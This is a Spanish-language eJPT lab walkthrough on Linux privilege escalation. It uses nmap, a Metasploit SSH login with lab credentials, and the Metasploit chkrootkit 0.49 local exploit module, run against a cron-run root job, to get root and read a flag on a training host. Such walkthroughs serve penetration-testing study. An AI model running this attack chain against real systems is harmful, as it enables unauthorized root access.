> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/post-explotacion/postexplotacion-en-linux/como-vulnerar-un-programa-escalada.md).

# Cómo vulnerar un programa (Escalada)

## 🔍 Factores que Determinan la Escalada

Las técnicas de escalada de privilegios en Linux dependen principalmente de dos factores:

1. **Versión del kernel de Linux**\
   Muchas vulnerabilidades conocidas están directamente relacionadas con versiones específicas del kernel. Exploits como *Dirty Cow*, *OverlayFS* o *Dirty Pipe* son ejemplos clásicos de esto.
2. **Distribución y versión del sistema operativo**\
   Las configuraciones por defecto, scripts, binarios suid y servicios habilitados varían entre distribuciones como Ubuntu, Debian, CentOS o Fedora. Esto afecta qué vectores de escalada están disponibles.

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/N2m366H50yDlCSmuXrgb" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/bf4X0ZAixxtvYUwjVNWP" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Escaneo de puertos con Nmap

Ahora podemos realizar un escaneo de puerto Nmap predeterminado en el destino para identificar los puertos abiertos en el sistema de destino, esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
nmap -sS -sV demo.ine.local
```

<figure><img src="/files/tVdat4P5AmO4hhtty38M" alt=""><figcaption></figcaption></figure>

**Paso 4:** Hemos detectado que el servidor SSH se está ejecutando en la máquina de destino. Usaremos el módulo de inicio de sesión SSH y accederemos a un shell remoto en Metasploit con las credenciales proporcionadas (es decir, jackie:password).

Inicie msfconsole.

**Dominio:**

```
msfconsole
```

<figure><img src="/files/8rmz20rp86Xd8VsIo177" alt=""><figcaption></figcaption></figure>

Ahora, ejecute el módulo de inicio de sesión ssh para obtener un shell remoto.

**Dominio:**

```
use auxiliary/scanner/ssh/ssh_login
set RHOSTS demo.ine.local
set USERNAME jackie
set PASSWORD password
exploit
```

<figure><img src="/files/t4nfgPT2seFd1MVQ63ht" alt=""><figcaption></figcaption></figure>

**Paso 5:** Interactuar con la sesión de shell

**Dominio:**

```
sessions -i 1 
```

<figure><img src="/files/gHMEcCSNPpdv4SkjFtSq" alt=""><figcaption></figcaption></figure>

**Paso 6:** Verifique los servicios en ejecución.

**Dominio:**

```
ps aux
```

<figure><img src="/files/ujp5L9LTGxfOsgFecApk" alt=""><figcaption></figcaption></figure>

**Paso 7:** Observe que hay un par de procesos ejecutándose, es decir, cron y un script bash.

Investigar el script bash de check-down.

**Dominio:**

```
cat /bin/check-down
```

<figure><img src="/files/meO7llH57ThDW0ghyzwy" alt=""><figcaption></figcaption></figure>

El analizador de rootkits chkrootkit se ejecuta como root cada 60 segundos. Comprueba la ubicación y la versión de chkrootkit.

**Dominio:**

```
command -v chkrootkit
/bin/chkrootkit -V
```

<figure><img src="/files/deDZC8Q4tHlRPfN4rztj" alt=""><figcaption></figcaption></figure>

**Paso 8:** Encontramos la ubicación del binario de chkrootkit y su versión. Buscamos el módulo de explotación de escalada de privilegios para chkrootkit 0.49.

**Dominio:**

```
searchsploit chkrootkit 0.49
```

<figure><img src="/files/qiG6bVayCbGMg4oZoeHl" alt=""><figcaption></figcaption></figure>

**Paso 9:** La versión actual de chkrootkit es vulnerable a la escalada de privilegios locales. Usaremos el módulo Metasploit para obtener acceso root y leer el archivo **de indicadores** , ubicado en el directorio **/root** .

**Nota:** No finalice la sesión, escriba CTRL+Z para enviar la sesión interactiva a segundo plano.

**Dominio:**

```
use exploit/unix/local/chkrootkit
set CHKROOTKIT /bin/chkrootkit
set session 1
set LHOST 192.60.22.2
exploit
cat /root/flag
```

<figure><img src="/files/vP497rlFoMHNnPfyXwhX" alt=""><figcaption></figcaption></figure>

**Bandera:** 9db8bf8f483ff50857f26f9bd636bed6

## Referencias

* [Chkrootkit 0.49 - Escalada de privilegios locales](https://www.exploit-db.com/exploits/33899)
* [Módulo Metasploit](https://www.rapid7.com/db/modules/exploit/unix/local/chkrootkit)
